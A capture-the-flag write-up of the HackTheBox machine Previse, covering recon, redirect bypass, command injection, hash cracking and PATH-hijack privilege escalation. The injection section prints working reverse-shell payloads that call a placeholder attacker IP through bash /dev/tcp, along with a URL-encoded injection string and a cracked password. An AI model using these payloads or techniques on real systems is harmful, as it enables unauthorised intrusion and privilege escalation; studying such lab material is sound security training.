CyberSec Writeups

Red Team / Blue Team labs - HackTheBox, BlueTeamLabsOnline, TryHackMe, PortSwigger

HackTheBox: Previse

linux burp-suite reverse-shell john-the-ripper linpeas sudo

Previse is a Linux-based machine authored by m4lwhere, with an average rating of 4.4 stars.

// Recon

nmap -A previse.htb
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-10 15:56 AEST
Nmap scan report for previse.htb (10.10.11.104)
Host is up (0.022s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
|   256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_  256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
| http-title: Previse Login
|_Requested resource was login.php
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.86 seconds

// Initial Foothold

Like a lot of HTB machines, this one is only running ssh and a webserver. We can tell already from the nmap output that this is an Apache / PHP webserver, so a good place to begin looking for a way in is with gobuster and a php-focused wordlist from the assetnote wordlists repo:

gobuster dir -u http://previse.htb/ -w ./wordlists.assetnote.io/httparchive_php_2020_11_18.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://previse.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /Sites/security-research/wordlists.assetnote.io/httparchive_php_2020_11_18.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/11/10 15:46:19 Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 302) [Size: 2801] [--> login.php]
/login.php            (Status: 200) [Size: 2224]
/status.php           (Status: 302) [Size: 2966] [--> login.php]
/footer.php           (Status: 200) [Size: 217]
/header.php           (Status: 200) [Size: 980]
/logout.php           (Status: 302) [Size: 0] [--> login.php]
/config.php           (Status: 200) [Size: 0]
/download.php         (Status: 302) [Size: 0] [--> login.php]
/nav.php              (Status: 200) [Size: 1248]
/files.php            (Status: 302) [Size: 4914] [--> login.php]
/logs.php             (Status: 302) [Size: 0] [--> login.php]
/accounts.php         (Status: 302) [Size: 3994] [--> login.php]
/.php                 (Status: 403) [Size: 276]
/js                   (Status: 301) [Size: 307] [--> http://previse.htb/js/]

While this reveals a number of new urls to investigate, the majority of them seem to redirect to login.php, for which we don’t have valid credentials yet. The key to moving forward at this point is to understand the nature of HTTP redirects - while we might think of them as “nothing to see here, go over there” concept, they are more of a suggestion, and the original url may indeed contain content. If we try to load http://previse.htb/index.php in a normal browser, it will automatically follow the redirect to the login page. But if we use something like Burp Repeater (or curl in a terminal) that doesn’t automatically follow redirects, we can see that there is indeed content accessible on the page:

From here it’s straight-forward to issue a similar request (that ignores redirects) to the account creation page at /accounts.php, then craft a POST request with the required header & parameters to setup a new account:

...
Content-Type: application/x-www-form-urlencoded


username=testuser&password=s3cret&confirm=s3cret

Once we have a valid account that we can log in with, we can browse the site and find some interesting content:

If we download the site backup archive we get access to all of the site’s PHP source code, which is always a great way to discover credentials, use of vulnerable function calls, developer comments etc. Browsing the files we can quickly determine several interesting facts:

  1. config.php indicates there is a MySQL server running on localhost, with a root password included
  2. download.php manages the downloading of files via a $_GET['file'] parameter, which must be an int that corresponds to an entry in previse.files mysql table
  3. logs.php makes use of exec() to run an external python script, that accepts a $_POST['delim'] parameter - $output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");

Point 3 is an immediate security red flag - allowing untrusted input into a command context like this exposes the machine to command injection. Initial attempts to check if this worked via commands like whomai, uname etc were unsuccessful, but eventually I came across a reverse shell payload that looked compatible, given that it was also enclosed in a call to exec():

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/"ATTACKING IP"/443 0>&1'");?>

With penelope listening on port 4444 of our local machine, we can combine the shell command with a legitimate value for delim:

delim=space;/bin/bash -c 'bash -i >& /dev/tcp/"ATTACKING IP"/4444 0>&1'

then url-encode it, and send it away:

delim=space%3b%2f%62%69%6e%2f%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%31%30%2e%31%34%2e%38%35%2f%34%34%34%34%20%30%3e%26%31%27

And on our listening terminal, we get the connection:

[+] Listening for reverse shells on 0.0.0.0 🚪4444
[+] Got reverse shell from 🐧 previse.htb~10.10.11.104 💀 - Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
$ whoami
www-data

// User-Own

We now have access as the www-data user, but that doesn’t get us much. We can confirm the user.txt file is at /home/m4lwhere/user.txt, but the file permissions prevent us from accessing it. Turning our attention back to the source code archive for a moment, there is a config.php file that includes the root login details for a locally running mysql server. Browsing around the available dbs, we find an accounts table in the previse db:

m4lwhere@previse:~$ mysql -uroot -p -h localhost -P 3306 previse
Enter password:
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 6
Server version: 5.7.35-0ubuntu0.18.04.1 (Ubuntu)

Copyright (c) 2000, 2021, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> select * from accounts;
+----+------------+------------------------------------+---------------------+
| id | username   | password                           | created_at          |
+----+------------+------------------------------------+---------------------+
|  1 | m4lwhere   | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. | 2021-05-27 18:18:36 |
| ...

This gives us an encrypted hash, which we need to use a tool like John the Ripper to decrypt. A very common wordlist for cracking hashes in HTB machines is rockyou.txt (included with Kali Linux), so let’s add our hash into a file previse.txt and run it:

┌──(kali㉿kali)-[~]
└─$ john previse.txt --wordlist=/usr/share/wordlists/rockyou.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead

John is usually pretty reliable when it comes to detecting has formats, so let’s stop the process and restart it with the recommended format flag:

┌──(kali㉿kali)-[~]
└─$ john previse.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=md5crypt-long
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt-long, crypt(3) $1$ (and variants) [MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
ilovecody112235! (?)
1g 0:00:05:10 DONE (2021-11-12 00:14) 0.003217g/s 23855p/s 23855c/s 23855C/s

With the password retrieved, we’re now able to ssh in as the m4lwhere user and recover the flag:

ssh m4lwhere@previse.htb
m4lwhere@previse.htb's password: ilovecody112235!
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-151-generic x86_64)
...
$ cat ~/user.txt
1*******************************

// Privilege Escalation

As usual running something like LinPEAS is a good idea to quickly understand what options are available for privilege escalation. On this machine we learn that there is a backup script that our user has sudo privileges for:

m4lwhere@previse:~$ sudo -l
User m4lwhere may run the following commands on previse:
    (root) /opt/scripts/access_backup.sh

We don’t have permission to modify this script, but we can at least read it:

m4lwhere@previse:~$ cat /opt/scripts/access_backup.sh
#!/bin/bash

# We always make sure to store logs, we take security SERIOUSLY here

# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time

gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz

We can see that the gzip binary is specified without a path. Let’s check our user’s path, and where gzip is found:

m4lwhere@previse:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
m4lwhere@previse:~$ which gzip
/bin/gzip

Under normal circumstances, /bin/gzip is run. But since we can control our user’s path, we’re able to change this to include our home directory first:

export PATH=~:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

and then create our own ‘special’ version of gzip in our home folder at /home/m4lwhere/gzip:version of gzip:

#!/bin/bash

cp /root/root.txt /tmp/root.txt
chmod 777 /tmp/root.txt

and if we run the script now using sudo:

m4lwhere@previse:~$ sudo /opt/scripts/access_backup.sh

we can see that our new script has done what we asked, with root privileges:

m4lwhere@previse:~$ ls -l /tmp/
total 20
-rwxrwxrwx 1 root root   33 Nov 12 06:04 root.txt
m4lwhere@previse:~$ cat /tmp/root.txt
a*******************************